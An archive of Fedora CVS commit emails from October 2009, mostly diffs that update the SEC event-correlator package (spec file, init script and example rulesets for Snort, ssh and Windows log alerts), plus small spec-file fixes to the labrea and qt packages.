+	stop
+	;;
+  restart)
+	restart
+	;;
+  condrestart|try-restart)
+	rh_status_q || exit 0
+	restart
+	;;
+  reload)
+	reload
+	;;
+  force-reload)
+	force_reload
+	;;
+  status)
+	rh_status
+	;;
+  dump)
+	dump
+	;;
+  *)
+	echo $"Usage: $0 {start|stop|restart|condrestart|try-restart|reload|force-reload|status|dump}"
+	exit 2
 esac
 
+exit $?


Index: sec.logrotate
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/sec.logrotate,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sec.logrotate	1 Sep 2006 20:54:01 -0000	1.1
+++ sec.logrotate	4 Oct 2009 07:10:46 -0000	1.2
@@ -3,6 +3,6 @@
     notifempty
     sharedscripts
     postrotate
-        /sbin/service sec reload 2> /dev/null > /dev/null || true
+        /sbin/service sec reload >/dev/null 2>&1 || true
     endscript
 }


Index: sec.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/sec.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sec.spec	26 Feb 2009 00:21:13 -0000	1.5
+++ sec.spec	4 Oct 2009 07:10:46 -0000	1.6
@@ -1,198 +1,124 @@
-#
-# Specfile for SEC, the simple event correlator
-#
-# https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=169345
-#
-
 Name:           sec
-Version:        2.4.1
-Release:        3%{?dist}
-Summary:        SEC (simple event correlator)
-
+Version:        2.5.2
+Release:        1%{?dist}
+Summary:        Simple Event Correlator script to filter log file entries
 Group:          System Environment/Daemons
 License:        GPLv2+
-URL:            http://www.estpak.ee/~risto/sec/
-
-################################################################################
-
+URL:            http://simple-evcorr.sourceforge.net/
 Source0:        http://dl.sourceforge.net/simple-evcorr/%{name}-%{version}.tar.gz
 Source1:        sec.sysconfig
 Source2:        sec.init
 Source3:        sec.logrotate
-
 # Example files and configuration info
-Source100:      conf.README
-Source101:      http://www.estpak.ee/~risto/sec/examples/syslog-ng.txt
-Source102:      001_init.sec
-Source103:      http://www.bleedingsnort.com/sec/amavisd.sec
-Source104:      http://www.bleedingsnort.com/sec/bsd-MONITOR.sec
-Source105:      http://www.bleedingsnort.com/sec/bsd-PHYSMOD.sec
-Source106:      http://www.bleedingsnort.com/sec/bsd-USERACT.sec
-Source107:      http://www.bleedingsnort.com/sec/clamav.sec
-Source108:      http://www.bleedingsnort.com/sec/cvs.sec
-Source109:      http://www.bleedingsnort.com/sec/dameware.sec
-Source110:      http://www.bleedingsnort.com/sec/dbi-example.sec
-Source111:      http://www.bleedingsnort.com/sec/general.sec
-Source112:      http://www.bleedingsnort.com/sec/hp-openview.sec
-Source113:      http://www.bleedingsnort.com/sec/labrea.sec
-Source114:      http://www.bleedingsnort.com/sec/mpd.sec
-Source115:      http://www.bleedingsnort.com/sec/pix-security.sec
-Source116:      http://www.bleedingsnort.com/sec/pix-url.sec
-Source117:      http://www.bleedingsnort.com/sec/portscan.sec
-Source118:      http://www.bleedingsnort.com/sec/snort.sec
-Source119:      http://www.bleedingsnort.com/sec/snortsam.sec
-Source120:      http://www.bleedingsnort.com/sec/ssh-brute.sec
-Source121:      http://www.bleedingsnort.com/sec/ssh.sec
-Source122:      http://www.bleedingsnort.com/sec/vtund.sec
-Source123:      http://www.bleedingsnort.com/sec/windows.sec
-
-BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+Source4:        conf.README
+Source5:        http://simple-evcorr.sourceforge.net/rulesets/amavisd.sec
+Source6:        http://simple-evcorr.sourceforge.net/rulesets/bsd-MONITOR.sec
+Source7:        http://simple-evcorr.sourceforge.net/rulesets/bsd-PHYSMOD.sec
+Source8:        http://simple-evcorr.sourceforge.net/rulesets/bsd-USERACT.sec
+Source9:        http://simple-evcorr.sourceforge.net/rulesets/bsd-general.sec
+Source10:       http://simple-evcorr.sourceforge.net/rulesets/bsd-mpd.sec
+Source11:       http://simple-evcorr.sourceforge.net/rulesets/cisco-syslog.sec
+Source12:       http://simple-evcorr.sourceforge.net/rulesets/cvs.sec
+Source13:       http://simple-evcorr.sourceforge.net/rulesets/dameware.sec
+Source14:       http://simple-evcorr.sourceforge.net/rulesets/hp-openview.sec
+Source15:       http://simple-evcorr.sourceforge.net/rulesets/labrea.sec
+Source16:       http://simple-evcorr.sourceforge.net/rulesets/pix-general.sec
+Source17:       http://simple-evcorr.sourceforge.net/rulesets/pix-security.sec
+Source18:       http://simple-evcorr.sourceforge.net/rulesets/pix-url.sec
+Source19:       http://simple-evcorr.sourceforge.net/rulesets/portscan.sec
+Source20:       http://simple-evcorr.sourceforge.net/rulesets/snort.sec
+Source21:       http://simple-evcorr.sourceforge.net/rulesets/snortsam.sec
+Source22:       http://simple-evcorr.sourceforge.net/rulesets/ssh-brute.sec
+Source23:       http://simple-evcorr.sourceforge.net/rulesets/ssh.sec
+Source24:       http://simple-evcorr.sourceforge.net/rulesets/vtund.sec
+Source25:       http://simple-evcorr.sourceforge.net/rulesets/windows.sec
+BuildArch:      noarch
 
-BuildArch:		noarch
-
-################################################################################
+# The init script uses arrays, so we need bash
+Requires:       bash
+Requires:       logrotate
 
-Requires(post):	    chkconfig
+Requires(post):     chkconfig
 Requires(postun):   initscripts
 Requires(preun):    initscripts, chkconfig
 
-# The init script uses arrays, so we need bash
-Requires:           bash
-
-# Not required specifically by SEC, but our examples use it so we might as well
-# create a requirement for logrotate.
-Requires:           logrotate
-
-# Some alternate names for the package that users might search for
-Provides:           simple-evcorr
-Provides:           sec.pl
-
-################################################################################
-
 %description
-SEC is an open source and platform independent event correlation tool that
-was designed to fill the gap between commercial event correlation systems and
-homegrown solutions that usually comprise a few simple shell scripts.
-SEC accepts input from regular files, named pipes, and standard input, and can
-thus be employed as an event correlator for any application that is able to
-write its output events to a file stream.
-
-################################################################################
+SEC is a simple event correlation tool that reads lines from files, named
+pipes, or standard input, and matches the lines with regular expressions,
+Perl subroutines, and other patterns for recognizing input events.
+Events are then correlated according to the rules in configuration files,
+producing output events by executing user-specified shell commands, by
+writing messages to pipes or files, etc.
 
 %prep
 %setup -q
 
-# Replace some tags in the config files
-    sed -i -e 's/@@NAME@@/%{name}/'    \
-        %{SOURCE1}                     \
-        %{SOURCE2}                     \
-        %{SOURCE3}
-
-# Fix the bindir in case a user wants it put in a different location
-    sed -i -e 's#/usr/bin/sec#%{_bindir}/sec#' \
-        %{SOURCE2}
-
-################################################################################
+%build
 
 %install
-
-rm -rf $RPM_BUILD_ROOT
-
-# Create the directories we'll need
-    install -d -m 755 $RPM_BUILD_ROOT%{_initrddir}
-    install -d -m 755 $RPM_BUILD_ROOT%{_localstatedir}/log
-    install -d -m 755 $RPM_BUILD_ROOT%{_localstatedir}/run
-    install -d -m 755 $RPM_BUILD_ROOT%{_sysconfdir}/logrotate.d
-    install -d -m 755 $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig
-    install -d -m 755 $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/examples
-
 # Install SEC and its associated files
-    install -D -p -m 755 sec.pl     $RPM_BUILD_ROOT%{_bindir}/sec
-    install -D -p -m 644 sec.pl.man $RPM_BUILD_ROOT%{_mandir}/man1/sec.1
-    install -p -m 644 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig/sec
-    install -p -m 644 %{SOURCE3} $RPM_BUILD_ROOT%{_sysconfdir}/logrotate.d/sec
-    install -p -m 755 %{SOURCE2} $RPM_BUILD_ROOT%{_initrddir}/sec
+install -D -m 0755 -p sec.pl     %{buildroot}%{_bindir}/sec
+install -D -m 0644 -p sec.pl.man %{buildroot}%{_mandir}/man1/sec.1
+install -D -m 0644 -p %{SOURCE1} %{buildroot}%{_sysconfdir}/sysconfig/sec
+install -D -m 0644 -p %{SOURCE3} %{buildroot}%{_sysconfdir}/logrotate.d/sec
+install -D -m 0755 -p %{SOURCE2} %{buildroot}%{_initrddir}/sec
 
 # Install the example config files and readme
-    install -p -m 644 %{SOURCE100} \
-            $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/README
-    install -p -m 644 %{SOURCE101} \
-            $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/examples/syslog-ng.sec
-    install -p -m 644 %{SOURCE102}  \
-                      %{SOURCE103}  \
-                      %{SOURCE104}  \
-                      %{SOURCE105}  \
-                      %{SOURCE106}  \
-                      %{SOURCE107}  \
-                      %{SOURCE108}  \
-                      %{SOURCE109}  \
-                      %{SOURCE110}  \
-                      %{SOURCE111}  \
-                      %{SOURCE112}  \
-                      %{SOURCE113}  \
-                      %{SOURCE114}  \
-                      %{SOURCE115}  \
-                      %{SOURCE116}  \
-                      %{SOURCE117}  \
-                      %{SOURCE118}  \
-                      %{SOURCE119}  \
-                      %{SOURCE120}  \
-                      %{SOURCE121}  \
-                      %{SOURCE122}  \
-                      %{SOURCE123}  \
-            $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/examples/
-
-# Replace all "email.com" in sample scripts with an actual fake domain: example.com
-    grep -rl 'email.com' $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/ \
-         | xargs sed -i -e 's/email.com/example.com/g'
-
-# Create ghost files so rpm doesn't complain about them being gone
-    touch $RPM_BUILD_ROOT%{_localstatedir}/log/sec
-    touch $RPM_BUILD_ROOT%{_localstatedir}/run/sec.pid
+install -D -m 0644 -p %{SOURCE4} %{buildroot}%{_sysconfdir}/%{name}/README
+install -d -m 0755  examples
+install -m 0644 -p %{SOURCE5} %{SOURCE6} %{SOURCE7} %{SOURCE8} \
+                   %{SOURCE9} %{SOURCE10} %{SOURCE11} %{SOURCE12} \
+                   %{SOURCE13} %{SOURCE14} %{SOURCE15} %{SOURCE16} \
+                   %{SOURCE17} %{SOURCE18} %{SOURCE19} %{SOURCE20} \
+                   %{SOURCE21} %{SOURCE22} %{SOURCE23} %{SOURCE24} \
+                   %{SOURCE25} examples/
 
-################################################################################
+# Remove executable bits because these files get packed as docs
+chmod 0644 contrib/convert.pl contrib/swatch2sec.pl
 
 %post
-
-if [ $1 = 1 ]; then
-	/sbin/chkconfig --add sec
+if [ $1 -eq 1 ]; then
+        /sbin/chkconfig --add sec
 fi
 
 %preun
-
-if [ $1 = 0 ]; then
-	/sbin/service sec stop > /dev/null 2>&1 || :
-	/sbin/chkconfig --del sec
+if [ $1 -eq 0 ]; then
+        /sbin/service sec stop >/dev/null 2>&1
+        /sbin/chkconfig --del sec
 fi
 
 %postun
-
-if [ $1 = 1 ]; then
-    /sbin/service sec condrestart
+if [ $1 -eq 1 ]; then
+        /sbin/service sec condrestart >/dev/null 2>&1
 fi
 
 %clean
-
-rm -rf $RPM_BUILD_ROOT
-
-################################################################################
+rm -rf %{buildroot}
 
 %files
-
 %defattr(-,root,root,-)
-%doc ChangeLog COPYING README
+%doc ChangeLog COPYING README contrib/convert.pl contrib/itostream.c contrib/swatch2sec.pl examples
+%config(noreplace) %{_sysconfdir}/%{name}
 %config(noreplace) %{_sysconfdir}/sysconfig/sec
-%config(noreplace) %verify (not md5 size mtime) %{_sysconfdir}/logrotate.d/sec
-%{_sysconfdir}/%{name}
-%{_bindir}/sec
+%config(noreplace) %{_sysconfdir}/logrotate.d/sec
 %{_initrddir}/sec
-%{_mandir}/man1/*
-%ghost %verify (not md5 size mtime) %{_localstatedir}/log/sec
-%ghost %verify (not md5 size mtime) %{_localstatedir}/run/sec.pid
-
-################################################################################
+%{_bindir}/sec
+%{_mandir}/man1/sec.1*
 
 %changelog
+* Tue Sep 29 2009 Stefan Schulze Frielinghaus <stefan at seekline.net> - 2.5.2-1
+- New upstream release
+- SPEC file cleanup
+- Init script cleanup
+- Removed some examples because of licensing issues. Upstream has clarified
+  and changed most of the license tags to GPLv2. Additionally, upstream
+  will include the examples in the next release.
+- Removed a provide statement since a period was in the name and no other
+  package required that special name.
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.1-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.1-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: snort.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/snort.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- snort.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ snort.sec	4 Oct 2009 07:10:46 -0000	1.2
@@ -1,5 +1,10 @@
 ####################################################################
 #                Sample SEC ruleset for Snort IDS
+#
+# Copyright (C) 2003-2009 Risto Vaarandi
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 ####################################################################
 
 # ------------------------------------------------------------------
@@ -52,7 +57,8 @@ pattern=PRIORITY 1 INCIDENT FROM (\S+) T
 context=ATTACK_FROM_$1
 continue=TakeNext
 desc=Priority 1 attack started from $1
-action=create ATTACK_FROM_$1; add ALERT_REPORT %t: %s; pipe '%t: %s' 
+action=create ATTACK_FROM_$1; add ALERT_REPORT %t: %s; pipe '%t: %s' \
+       /usr/bin/mail -s 'NOC: SNORT: priority 1 attack from $1' alerts at example.com
 
 
 # For every priority 1 incident, add an entry to the context by its IP;
@@ -66,7 +72,7 @@ continue=TakeNext
 desc=Priority 1 incident from $1 to $2: $3
 action=add ATTACK_FROM_$1 %t: %s; \ 
        set ATTACK_FROM_$1 300 ( report ATTACK_FROM_$1 \
-       /usr/bin/mail -s 'NOC: SNORT: priority 1 attack from $1 (report)' alerts at email.com )
+       /usr/bin/mail -s 'NOC: SNORT: priority 1 attack from $1 (report)' alerts at example.com )
 
 
 # ------------------------------------------------------------------
@@ -116,7 +122,7 @@ continue=TakeNext
 desc=Create activity contexts for $1
 action=create ACTIVITY_LIST_FOR_$1_LIFETIME; \
        create ACTIVITY_LIST_FOR_$1 7200 ( report ACTIVITY_LIST_FOR_$1 \
-       /usr/bin/mail -s 'SNORT: $1 has been active for 2 hours' alerts at email.com; \
+       /usr/bin/mail -s 'SNORT: $1 has been active for 2 hours' alerts at example.com; \
        delete ACTIVITY_LIST_FOR_$1_LIFETIME )
 
 
@@ -142,7 +148,7 @@ type=Calendar
 time=0 12 * * *
 desc=Sending alert report...
 action=report ALERT_REPORT \
-       /usr/bin/mail -s 'SNORT: Hourly alert report' alerts at email.com; \
+       /usr/bin/mail -s 'SNORT: Hourly alert report' alerts at example.com; \
        delete ALERT_REPORT
 
 
@@ -152,6 +158,6 @@ type=Calendar
 time=0 9 * * *
 desc=Sending portscan report...
 action=report PORTSCAN_REPORT \
-       /usr/bin/mail -s 'SNORT: daily portscan report' alerts at email.com; \
+       /usr/bin/mail -s 'SNORT: daily portscan report' alerts at example.com; \
        delete PORTSCAN_REPORT
 


Index: snortsam.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/snortsam.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- snortsam.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ snortsam.sec	4 Oct 2009 07:10:46 -0000	1.2
@@ -1,10 +1,17 @@
-
+#############################################################################
+# Snort SAM events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 type=single
 ptype=regexp
 pattern=([A-Za-z0-9._-]+) root: (.*) snortsam, Error: Could not bind socket.
 desc = $0
-action=pipe '$1 Snortsam Bind Failed -- NEEDS ATTENTION!: %s' /usr/bin/mail -s "Snortsam Bind Failure: NEEDS ATTENTION on $1" alerts at yourdomain.com
+action=pipe '$1 Snortsam Bind Failed -- NEEDS ATTENTION!: %s' /usr/bin/mail -s "Snortsam Bind Failure: NEEDS ATTENTION on $1" alerts at example.com
 
 
 type=single
@@ -24,7 +31,7 @@ action=add SNORTSAM_REPORT $1 Extending 
 #ptype=regexp
 #pattern=([A-Za-z0-9._-]+)snortsam\[([0-9]+)\]: [*], [:0-9]+, -, ipf, (.*) Failed
 #desc = Snortsam ipf error
-#action=pipe '$1 Snortsam IPF Command Failed' /usr/bin/mail -s "%s" alerts at yourdomain.com
+#action=pipe '$1 Snortsam IPF Command Failed' /usr/bin/mail -s "%s" alerts at example.com
 ##action=add SNORTSAM_REPORT ERROR $1 IPF Command Failure: $2
 
 
@@ -52,13 +59,13 @@ type=single
 ptype=regexp
 pattern=([A-Za-z0-9._-]+) root: (.*) ipf, Error: Command (.*) Failed
 desc = $0
-action=pipe '$1 Snortsam IPF Command Failed: $1 $2 $3' /usr/bin/mail -s "Snortsam IPF Command Failed on $1" alerts at yourdomain.com
+action=pipe '$1 Snortsam IPF Command Failed: $1 $2 $3' /usr/bin/mail -s "Snortsam IPF Command Failed on $1" alerts at example.com
 
 type=single
 ptype=regexp
 pattern=([A-Za-z0-9._-]+) root: (.*) snortsam, Snortsam Station .* using wrong password, trying to resync.
 desc = $0
-action=pipe '$1 Snortsam Password Failure: $1' /usr/bin/mail -s "Snortsam Password Failure on $1" alerts at yourdomain.com
+action=pipe '$1 Snortsam Password Failure: $1' /usr/bin/mail -s "Snortsam Password Failure on $1" alerts at example.com
 
 #Send hourly snortsam report
 
@@ -66,5 +73,5 @@ type=Calendar
 time=0 * * * *
 desc=Sending snortsam report...
 action=report SNORTSAM_REPORT \
-       /usr/bin/mail -s 'SNORTSAM report' alerts at yourdomain.com; \
+       /usr/bin/mail -s 'SNORTSAM report' alerts at example.com; \
        delete SNORTSAM_REPORT


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	28 May 2007 20:06:22 -0000	1.4
+++ sources	4 Oct 2009 07:10:46 -0000	1.5
@@ -1 +1 @@
-f233b3acf7cebdb573f4ff1f441866c3  sec-2.4.1.tar.gz
+0e5e3c2e4e3ef6c21fc32a809c6263bb  sec-2.5.2.tar.gz


Index: ssh-brute.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/ssh-brute.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ssh-brute.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ ssh-brute.sec	4 Oct 2009 07:10:46 -0000	1.2
@@ -1,4 +1,10 @@
 ################## ssh brute force attack blocker
+# Copyright (C) 2003-2009 Mark Bergman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+##################
+#
 # This sec ruleset monitors syslog messages for indications that an ssh brute-force
 # login attack is underway. The trigger is an ssh login failure.
 #
@@ -15,10 +21,6 @@
 # 2 hours.
 #
 # Vulnerabilities of this ruleset are:
-#	DoS attack: if the attacker is aware of this ruleset, they could
-#		spoof a series of victim IP addresses (for example, the 
-#		AOL proxy address), thus causing the server running sec
-#		to deny service to the victim.
 #
 #	persistent firewall rules:
 #		if the sec daemon crashes or is restarted, any existing rules


Index: ssh.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/ssh.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ssh.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ ssh.sec	4 Oct 2009 07:10:46 -0000	1.2
@@ -1,6 +1,13 @@
-# a ruleset to accumulate errors from a parent and child sshd process
+###########################################################################
+# SEC ruleset to accumulate errors from a parent and child sshd process
 # into a single context. This allows reporting of the authenticated
 # user information with the error's generated by the child sshd process.
+#
+# Copyright (C) 2003-2009 John P. Rouillard
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+###########################################################################
 
 # note handling of deferred reporting until after tie events received
 # is still in flux. My old rules hanlded it by resubmitting all the
@@ -38,7 +45,7 @@ action=create EVENT_PROCESSED
 #ptype=regexp
 #pattern=([A-Za-z0-9._-]+) sshd\[([0-9]+)\]: \[[^]]+\] Connection from ([0-9.]+) port [0-9]+
 #action=pipe session_log_$1_$2 \
-#    /usr/bin/mail -s "ssh failed to generate tie event for $1" alerts at email.com
+#    /usr/bin/mail -s "ssh failed to generate tie event for $1" alerts at example.com
 #desc2=Link parent and child contexts
 #ptype2=regexp
 #pattern2=$1 [A-z0-9]+\[[0-9]+\]: \[[^]]+\] SSHD child process +([0-9]+) spawned by $2
@@ -86,7 +93,7 @@ desc=Report immediate on request.
 ptype=regexp
 pattern=^sshd: Report (.*) if needed$
 context = session_log_report_$1
-action= report session_log_$1 /usr/bin/mailx -s "sshd error on $1" alerts at email.com ;\
+action= report session_log_$1 /usr/bin/mailx -s "sshd error on $1" alerts at example.com ;\
         delete session_log_report_$1
 
 type=suppress
@@ -144,7 +151,7 @@ pattern=([A-z._0-9-]*) sshd\[([0-9]+)\]:
 context = $3 < 1025 && tie_event_received_$1_$2
 action = add session_log_$1_$2 $0 ; \
          report session_log_report_$1_$2 \
-             /usr/bin/mailx -s "sshd bind < 1025 on $1" alerts at email.com
+             /usr/bin/mailx -s "sshd bind < 1025 on $1" alerts at example.com
 
 # end immediate rules here
 
@@ -178,7 +185,7 @@ pattern=([A-z._0-9-]*) sshd\[([0-9]+)\]:
 context = ssh_port_forward_errors_$1_$2
 desc = send report on ssh forward errors if pass threshold (bind)
 action = report session_log_$1_$2 \
-            /usr/bin/mailx -s "ssh port forward errors host $1" alerts at email.com; \
+            /usr/bin/mailx -s "ssh port forward errors host $1" alerts at example.com; \
          delete ssh_port_forward_errors_$1_$2
 thresh=5
 window=600
@@ -211,7 +218,7 @@ pattern=([A-z._0-9-]*) sshd\[([0-9]+)\]:
 context = ssh_channel_setup_errors_$1_$2
 desc = send report on ssh channel setup errors
 action = report session_log_$1_$2 \
-            /usr/bin/mailx -s "ssh port forward errors host $1" alerts at email.com ; \
+            /usr/bin/mailx -s "ssh port forward errors host $1" alerts at example.com ; \
          delete ssh_channel_setup_errors_$1_$2
 thresh=5
 window=600
@@ -234,7 +241,7 @@ pattern=([A-Za-z0-9._-]+) sshd\[([0-9]+)
 desc = create context to report ssh errors for host $1 pid $2 in 5 minutes
 context = ! session_log_5min_timer_$1_$2
 action = create session_log_5min_timer_$1_$2 300 report session_log_$1_$2 \
-              /usr/bin/mailx -s "ssh errors for host $1 pid $2" alerts at email.com
+              /usr/bin/mailx -s "ssh errors for host $1 pid $2" alerts at example.com
 
 type=single
 continue = dontcont


Index: vtund.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/vtund.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vtund.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ vtund.sec	4 Oct 2009 07:10:47 -0000	1.2
@@ -1,4 +1,11 @@
-#VTUN Events
+#############################################################################
+# VTUN events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 type=Single
 ptype=RegExp
@@ -58,14 +65,3 @@ pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+vtund\
 desc=$0
 action=add GENERAL_REPORT %t: VTUN Session $2 Closed on $1
 
-
-
-#Send 12 hours vtun report
-
-type=Calendar
-time=0 0,12 * * *
-desc=Sending vtun report...
-action=report VTUN_REPORT \
-       /usr/bin/mail -s 'VTUN: VTUN Report' alerts at yourdomain.com; \
-       delete VTUN_REPORT0
-


Index: windows.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/windows.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- windows.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ windows.sec	4 Oct 2009 07:10:47 -0000	1.2
@@ -1,4 +1,11 @@
-#Windows events
+#############################################################################
+# Windows events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 type=Single
 ptype=RegExp
@@ -17,21 +24,21 @@ type=Single
 ptype=RegExp
 pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+Security: \\Everyone: User Account Locked Out: Target Account Name: (\S+) .*
 desc=$0
-action=pipe '$1 Windows Account Lockout: %s' /usr/bin/mail -s "Windows Account Locked on $1" alerts at yourdomain.com
+action=pipe '$1 Windows Account Lockout: %s' /usr/bin/mail -s "Windows Account Locked on $1" alerts at example.com
 
 
 type=Single
 ptype=RegExp
 pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+Security: \\Everyone: User Account Changed: (/S+)\. .*
 desc=$0
-action=pipe '$1 Windows Account Change: %s' /usr/bin/mail -s "Windows Account Changed on $1: $2" alerts at yourdomain.com
+action=pipe '$1 Windows Account Change: %s' /usr/bin/mail -s "Windows Account Changed on $1: $2" alerts at example.com
 
 
 type=Single
 ptype=RegExp
 pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+NetBT: N\/A: A duplicate name has been detected on the TCP network\. .*
 desc=$0
-action=pipe '$1 Duplicate Netbios Name Detected: %s' /usr/bin/mail -s "Duplicate Netbios Name on $1" alerts at yourdomain.com
+action=pipe '$1 Duplicate Netbios Name Detected: %s' /usr/bin/mail -s "Duplicate Netbios Name on $1" alerts at example.com
 
 
 


--- 001_init.sec DELETED ---


--- clamav.sec DELETED ---


--- dbi-example.sec DELETED ---


--- general.sec DELETED ---


--- mpd.sec DELETED ---


--- syslog-ng.txt DELETED ---



From kkofler at fedoraproject.org  Sun Oct  4 07:12:37 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun,  4 Oct 2009 07:12:37 +0000 (UTC)
Subject: rpms/labrea/devel labrea.spec,1.4,1.5
Message-ID: <20091004071237.E825111C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/labrea/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2492/devel

Modified Files:
	labrea.spec 
Log Message:
Remove inc/syslog.h because it gets picked over the system one.


Index: labrea.spec
===================================================================
RCS file: /cvs/pkgs/rpms/labrea/devel/labrea.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- labrea.spec	4 Oct 2009 06:55:07 -0000	1.4
+++ labrea.spec	4 Oct 2009 07:12:37 -0000	1.5
@@ -23,6 +23,8 @@ servers to detect and trap worms, hacker
 # -I- is no longer supported by GCC and -I /usr/include is just pointless
 sed -i -e 's/-I- @DNETINC@ @PCAPINC@//g' src/Makefile.am
 sed -i -e 's/-I- @DNETINC@ @PCAPINC@//g' src/Makefile.in
+# remove this one because it gets picked over the system one
+rm -f inc/syslog.h
 
 
 %build



From kkofler at fedoraproject.org  Sun Oct  4 07:19:28 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun,  4 Oct 2009 07:19:28 +0000 (UTC)
Subject: rpms/labrea/F-12 labrea.spec,1.5,1.6
Message-ID: <20091004071929.19BB411C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/labrea/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4909/F-12

Modified Files:
	labrea.spec 
Log Message:
Also fix the makefile not to expect syslog.h to be there.


Index: labrea.spec
===================================================================
RCS file: /cvs/pkgs/rpms/labrea/F-12/labrea.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- labrea.spec	4 Oct 2009 07:12:37 -0000	1.5
+++ labrea.spec	4 Oct 2009 07:19:26 -0000	1.6
@@ -25,6 +25,8 @@ sed -i -e 's/-I- @DNETINC@ @PCAPINC@//g'
 sed -i -e 's/-I- @DNETINC@ @PCAPINC@//g' src/Makefile.in
 # remove this one because it gets picked over the system one
 rm -f inc/syslog.h
+sed -i -e 's/syslog.h//g' inc/Makefile.am
+sed -i -e 's/syslog.h//g' inc/Makefile.in
 
 
 %build



From than at fedoraproject.org  Sun Oct  4 07:24:12 2009
From: than at fedoraproject.org (Than Ngo)
Date: Sun,  4 Oct 2009 07:24:12 +0000 (UTC)
Subject: rpms/qt/F-12 qt.spec,1.332,1.333
Message-ID: <20091004072412.10D8B11C00E5@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/qt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6443

Modified Files:
	qt.spec 
Log Message:
rhel cleanup



Index: qt.spec
===================================================================
RCS file: /cvs/extras/rpms/qt/F-12/qt.spec,v
retrieving revision 1.332
retrieving revision 1.333
diff -u -p -r1.332 -r1.333
--- qt.spec	3 Oct 2009 16:30:46 -0000	1.332
+++ qt.spec	4 Oct 2009 07:24:11 -0000	1.333
@@ -10,7 +10,7 @@ Summary: Qt toolkit
 Name:    qt
 Epoch:   1
 Version: 4.5.2
-Release: 22%{?dist}
+Release: 23%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
@@ -97,11 +97,13 @@ Source31: hi48-app-qt4-logo.png
 %define psql -plugin-sql-psql
 %define sqlite -plugin-sql-sqlite
 %define phonon -phonon
-# if building with -phonon, define to internal version (ie, Obsolete external phonon)
-#define phonon_internal 1
 %define phonon_backend -phonon-backend
+%if 0%{?rhel}
+# if building with -phonon, define to internal version (ie, Obsolete external phonon)
+%define phonon_internal 1
 # if -phonon-backend, include in packaging (else it's omitted)
